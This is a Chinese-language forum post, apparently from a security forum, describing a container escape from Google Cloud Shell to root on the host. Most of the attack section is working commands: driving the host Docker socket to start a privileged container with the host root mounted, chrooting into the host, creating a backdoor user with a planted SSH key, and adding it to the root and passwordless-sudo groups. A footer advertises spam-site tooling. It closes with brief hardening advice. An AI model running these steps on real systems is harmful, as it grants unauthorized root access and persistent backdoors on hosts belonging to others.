请选择 进入手机版 | 继续访问电脑版
查看: 140|回复: 0

走起0x01容器逃逸GoogleCloudShell(组图)

[复制链接]

132

主题

134

帖子

713

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
713
发表于 2022-10-29 13:07:19 | 显示全部楼层 |阅读模式
专注于web安全&黑灰生产行为分析,希望在这里有所收获

0x00简介

Google Cloud Shell 是一个 Web IDE,类似于 Coding 的 Cloud Studio 和 GitHub 的 Codespace。这些服务提供了一个服务器,用户可以在该服务器上通过浏览器编写代码和运行程序。在这些平台上,用户操作在 Docker 容器中运行。(当然不排除财大气粗的工厂可以开VM。)这几天在Google Cloud Shell中漫游的时候,突然发现一个小东西:



各位大佬,看看目录名,可能是宿主机的docker服务socket吧?这不会使容器逃逸吗?我们走吧

0x01 容器逃逸



Google Cloud Shell(以下简称 GCS)好心为我们预装了 docker。让我们连接到主机 docker sock



<p><pre>    <code>Client:
Context:   default
Debug Mode: false
Plugins:
  app: Docker App (Docker Inc., v0.9.1-beta3)
  buildx: Docker Buildx (Docker Inc., v0.8.2-docker)
  scan: Docker Scan (Docker Inc., v0.17.0)
Server:
Containers: 11
  Running: 10
  Paused: 0
  Stopped: 1
Images: 15
Server Version: 20.10.6
Storage Driver: overlay2
  Backing Filesystem: extfs
  Supports d_type: true
  Native Overlay Diff: true
  userxattr: false
Logging Driver: json-file
Cgroup Driver: cgroupfs
Cgroup Version: 1
Plugins:
  Volume: local
  Network: bridge host ipvlan macvlan null overlay
  Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: runc io.containerd.runc.v2 io.containerd.runtime.v1.linux
Default Runtime: runc
Init Binary: docker-init
containerd version: 3df54a852345ae127d1fa3092b95168e4a88e2f8
runc version: f46b6ba2c9314cfc8caae24a32ec5fe9ef1059fe
init version: fec3683b971d9c3ef73f284f176672c44b448662 (expected: de40ad007797e0dcd8b7126f27bb87401d224240)
Security Options:
  apparmor
  seccomp
   Profile: default
Kernel Version: 5.10.109+
Operating System: Container-Optimized OS from Google
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 15.63GiB
Name: boost-wlcxb
ID: YFEE:QP2R:H2BW:QM63:XAYP:MEXS:VZ26:LW6W:YIXA:HIAL:JQ7H:GO23
Docker Root Dir: /var/lib/docker
Debug Mode: false
Registry: https://index.docker.io/v1/
Labels:
Experimental: false
Insecure Registries:
  127.0.0.0/8
Registry Mirrors:
  https://mirror.gcr.io/
Live Restore Enabled: true</code></pre></p>
但是我们需要注意输出中提到的系统信息:

<p><pre>    <code>Container-Optimized OS from Google</code></pre></p>
这是谷歌发布的优化Docker容器的精简操作系统,基于Chromium OS。简化到什么程度?本系统没有dpkg、apt、yum、pacman、rpm等包管理器。系统有防火墙锁定,重启后/etc目录丢失,系统中几乎所有目录都是只读的

但不幸的是 - Docker 默认以 root 身份运行。我们可以通过这个主机socket逃出GCS容器,进入主机,甚至升级到主机根。让我们为自己开一个特权容器,这样我们以后可以努力工作

<p><pre>    <code>sudo docker -H unix:///google/host/var/run/docker.sock pull ubuntu:latest #在宿主机上拉取一个ubuntu docker镜像
sudo docker -H unix:///google/host/var/run/docker.sock run -itd \
    --name ltdoge \
     -v "/:/host" \ #把宿主机根目录挂载到容器/host,阴阳之门就此打开
    --network=host \ #使用宿主机网络,免得新容器上不去网
    --privileged=true \ #特权模式
    --cap-add=ALL \ #放开所有权限
    ubuntu:latest
sudo docker -H unix:///google/host/var/run/docker.sock start ltdoge #启动容器
sudo docker -H unix:///google/host/var/run/docker.sock exec -it ltdoge /bin/bash #进入新容器</code></pre></p>
至此,我们已经完成了容器逃逸——可以从新创建的特权容器中访问宿主文件,甚至可以随意修改

0x02 获取主机外壳

首先完成ubuntu容器的系统文件

<p><pre>    <code>unminimize
apt install ssh</code></pre></p>
如何获得壳牌?Web 上的一种常见方法是编写一个执行 nc 的 cron 来反弹 shell 会话。但不幸的是,主机上没有运行 crontab 服务。但是我们都有主机根目录泛目录提权,为什么不直接使用呢?Docker 是一个应用程序容器,而不是虚拟机。Docker 与主机共享系统内核

<p><pre>    <code>chroot /host /bin/bash</code></pre></p>
这样,我们以/host为根目录运行一个bash,所有的操作都会作为宿主机的根目录执行。而我们的容器用户是root,在chroot中的操作会被认为是宿主机的root用户进行的。但是这个root并不完整,只是在文件系统级别实现泛目录提权,systemctl命令会报错。我们的目标是获得主机的完整外壳。不小心执行了netstat -anp,然后不小心注意到一个开放的端口:

<p><pre>    <code>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      461/sshd: /usr/sbin</code></pre></p>
哦,实际上主机上有ssh。(容器和宿主机共享网络,所以可以扫描宿主机端口)退出chroot,意外连接:



公钥认证?没有开启密码认证?通过 sshd_config:

<p><pre>    <code># Force protocol v2 only
Protocol 2
# Disable IPv6 for now
AddressFamily inet
# /etc is read-only.  Fetch keys from stateful partition
# Not using v1, so no v1 key
HostKey /mnt/stateful_partition/etc/ssh/ssh_host_rsa_key
HostKey /mnt/stateful_partition/etc/ssh/ssh_host_ed25519_key
PasswordAuthentication no
ChallengeResponseAuthentication no
PermitRootLogin no
UsePAM yes
PrintMotd no
PrintLastLog no
UseDns no
Subsystem sftp internal-sftp
PermitTunnel no
AllowTcpForwarding yes
X11Forwarding no
Ciphers aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr
# Compute times out connections after 10 minutes of inactivity.  Keep alive
# ssh connections by sending a packet every 7 minutes.
ClientAliveInterval 420
AcceptEnv EDITOR LANG LC_ALL PAGER TZ</code></pre></p>
好家伙,不仅没有打开密码验证,还关闭了root登录。再次回到 chroot 并开设一个新帐户:

<p><pre>    <code>mkdir /home/ltdoge
useradd -d /home/ltdoge -s /bin/bash ltdoge
chown ltdoge /home/ltdoge
passwd ltdoge #改一下密码</code></pre></p>
然后返回容器,生成公私钥,传给宿主机:

<p><pre>    <code>ssh-keygen -t rsa
mkdir /host/home/ltdoge/.ssh
cp ~/.ssh/id_rsa.pub /host/home/ltdoge/.ssh/authorized_keys</code></pre></p>
ssh连接ltdoge@127.0.0.1,成功获取主机shell

0x03 root权限提升

更改容器中的 sudoers 文件

<p><pre>    <code>apt install nano
nano /host/etc/sudoers
#在sudoers中把root那行复制过来,用户名改成ltdoge</code></pre></p>
然后ssh连接主机,sudo su,输入密码——

抱歉,请再试一次。

惊讶与否?你惊喜吗?无论您设置什么密码,sudo 都不起作用。我们需要曲线来拯救国家。翻看sudoers文件,可以看到最后有一个IncludeDir:

<p><pre>    <code>## Read drop-in files from /etc/sudoers.d
@includedir /etc/sudoers.d</code></pre></p>
进入/etc/sudoers.d,可以发现里面有一个google-sudoers文件

<p><pre>    <code>%google-sudoers ALL=(ALL:ALL) NOPASSWD:ALL                                                                         </code></pre></p>
好家伙,仍然是无密码身份验证。返回容器进入chroot,将ltdoge用户拉入管理组:

<p><pre>    <code>gpasswd -a ltdoge root
gpasswd -a ltdoge google-sudoers</code></pre></p>
再次连接ssh,sudo su:

成功获得主机的root权限

0x04 总结

1、这个容器逃逸漏洞其实是在2020年发现的,貌似这是第一个得到谷歌奖励的漏洞,但我使用了一种新的提权方法。

谷歌支付不修复漏洞,我不知道这意味着什么

2、Docker默认以root身份执行。打开容器的时候,如果需要暴露给外网,不要闲着,和--privileged无关

3.不要盲目挂载目录

豪侠泛目录站群程序,专业泛目录,站群,二级目录,泛站群程序!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表